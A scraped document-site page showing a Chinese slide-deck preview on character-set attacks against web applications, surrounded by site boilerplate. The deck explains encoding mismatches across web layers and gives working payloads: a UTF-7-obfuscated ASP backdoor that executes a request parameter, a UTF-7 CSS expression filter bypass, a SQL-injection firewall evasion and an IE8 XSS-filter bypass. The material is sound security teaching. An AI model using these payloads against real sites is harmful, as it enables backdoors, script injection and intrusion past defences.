- 1、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。。
- 2、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 3、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 4、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 5、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 6、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 7、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
Web应用程序中字符集攻击
Web应用程序中的字符集攻击 ;目录;为什么要讨论字符集攻击
在某些东方国家里这种攻击变得越来越普遍
很多程序人员对这种攻击还不是很了解
通过分析受字符集漏洞影响的各类WEB程序及其实际应用,我们可以更深入的了解和修正此类安全问题
;字节流和数据的本质
字节流本身是一段无意义的数据,在计算机里由二进制表示,程序在处理字节流的时候,必须按照一定的规则来判断数据的意义,这个规则就是字符集。譬如同样的一个HTML,在不同的字符集情况下可能会显示乱码,就是理解数据的方式不对,导致问题发生(最终的意义发生改变),这种问题某种情况下就会导致漏洞
三个阶段的编码
单字节编码(Single Byte Character Set/SBCS包括ascii和一些控制字符)
多字节编码(MBCS/DBCS)
国际化编码(Unicode如utf-8等等)
;WEB架构层次;一个正常的web请求数据处理流程:
1 浏览器根据页面指定的字符集将提交的表单处理好发送到指定的服务器
2 如果有IDS/Web firewall就会检查提交的数据里有不有跟规则相匹配的非法数据
3 被firewall允许的请求将抵达webserver如apache和iis等
4 apache和iis将得到的数据按照自身的配置解码,解析整个请求,然后通过内建的一些规则决定请求是抛弃还是处理
5 符合要求的数据包将进入apache和iis的处理流程,一般被建立在POST,GET,REQUEST等变量里(IIS里php和asp的不同)
6 webapp通过建立的环境变量来处理整个请求,包括与服务器文件系统进行的交互,与服务器shell进行交互,与数据库服务器进行交互
7 文件服务器或者数据库服务器从webapp得到命令,执行成功之后将返回数据给webapp或者将数据保存,整个数据反向再进行一次。
8 最后数据回到用户的浏览器,浏览器通过请求指定的字符集将页面处理结果显示处理。;字符集处理过程中可能出现的安全问题
上下层使用的字符集不一致,导致数据的意义出现问题
处理多字节字符集时出现问题
对于非法数据的处理上理解不一致
某些字符集的天生缺陷
数据库里的校对规则(前后使用字符集不一致就出现问题)
其他攻击;Utf-7编码
一种可变长度字符编码方式,用以将 Unicode 字符以 ASCII 编码的字符串来呈现,可以???用在电子邮件传输之类的应用
只包括ascii字符,不会被过滤
Web hacker最喜欢的编码
MBCS编码
GBK,GB2312,Big5……
Unicode编码
被广泛使用的国际编码如Utf-8编码,数据有自我校验性
;上下层使用的字符集不一致,导致数据的意义出现问题
Web是一个复杂的系统
各层之间都需要对数据做出适当的解释
理解不一致就出现问题
例子;恶意脚本Bypass杀毒软件
杀毒软件无法识别数据中的字符集
客户端恶意脚本bypass以关键字检测为基础的杀毒软件
恶意网站逃避查杀
服务器端脚本利用字符集逃避杀毒软件的查杀
被用于各种web后门
%@ codepage=65000%%e+x-x+x-e+x-c+x-u+x-t+x-e+x-(+x-r+x-e+x-q+x-u+x-e+x-s+x-t+x-(+x-+ACI-c+ACI)+x-)+x-%;应用程序的防护策略被绕过
Baidu css filter bypass
Blacklist策略:expression @import /**/ javascript…..
允许@charset
Exploit
@charset utf-7;body{80sec:expre/+ACoAKg/ssion(if(!window.x){alert(1);window.x=1})}
;Ids/web app firewall bypass
Ids/firewall 模型
Ids/firewall处于web数据流的第二层却要保护位于第五层的应用程序,数据处理上的歧义将导致漏洞
处理不一致导致的bypass( webknight )
asp?test=‘ and user0-- //Blocked
asp?test=%‘ and user0-%-//Bypass
asp在处理参数时会抛弃不合法的数据-%-的%被抛弃(aspx无效)
在某些字符集情况由于上下层处理不一致导致更难保护,如下的asp脚本(IE8 Xss Filter 失效)
%@ codepage=65001%
%
response.write(Server.URLEncode(request(c)))
%
/webk.asp?c=111%ffscriptalert()/script
;IE字符集自动识别导致XSS
IE识别字符集时可能会达到与应用程序期望相反
您可能关注的文档
最近下载
- 2025年陕西高中学业水平考试信息技术试卷真题(含答案详解).pdf VIP
- 2024年锅炉操作工(初级)专业技能考试题库附答案(真题版) .pdf VIP
- 英语课程标准研究与教材分析(第2版)课件全套 第1--9章 英语课程标准和英语课程的基本概念 ---英语教材难度分析.pptx
- 《移动通信技术》课件——1主题一 发展历程-----移动通信的前世今生.pptx VIP
- 1000亩四季采摘水果园建设可行性研究报告.pdf VIP
- 河北省工伤职工停工留薪期分类目录.xls VIP
- 做外贸必读:外老们都是如何采购的——厦门区域兰彦晖分享.doc VIP
- (2020版新教材)闽教版五年级上册信息技术全册课件.pptx VIP
- (2025年)科创板试题及答案.docx VIP
- 第113届广交会跨国采购清单概览.pdf VIP
文档评论(0)